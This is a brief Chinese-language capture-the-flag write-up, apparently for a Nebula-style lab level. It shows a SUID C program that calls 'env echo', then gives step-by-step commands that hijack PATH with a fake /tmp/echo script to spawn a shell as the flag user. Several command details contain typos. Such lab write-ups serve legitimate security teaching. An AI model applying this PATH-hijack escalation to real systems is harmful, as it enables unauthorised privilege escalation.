题目源码如下:
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
int main(int argc, char **argv, char **envp)
{
gid_t gid;
uid_t uid;
gid = getegid();
uid = geteuid();
setresgid(gid, gid, gid);
setresuid(uid, uid, uid);
system("/usr/bin/env echo and now what?");
}
运行后输出: and now what,即echo命令参数。
查看/home/flag01/flag01文件属性,发现设置了SUID项。
为了获取shell,想法是echo命令替换为/bin/bah,具体操作如下:
1. 修改环境变量
export PATH=/tmp:$PATH
2. 创建符号链接
ln -s /bin/bash /tmp/echo
此时运行/home/flag01/flag01程序,提示No such file or directory,这是因为原程序中echo有参数,而/bin/bash无法执行。
3. 删除上步中/rmp/echo文件,在/tmp目录下创建新的echo文件,将#/bin/bash\r\n/bin/bash写入文件echo -e '#/bin/bash\r\n/bin/bash' > /tmp/echo; chmod +x /tmp/echo
4. 运行/home/flag01/flag01,用户切换至flag01,运行getflag命令,提示成功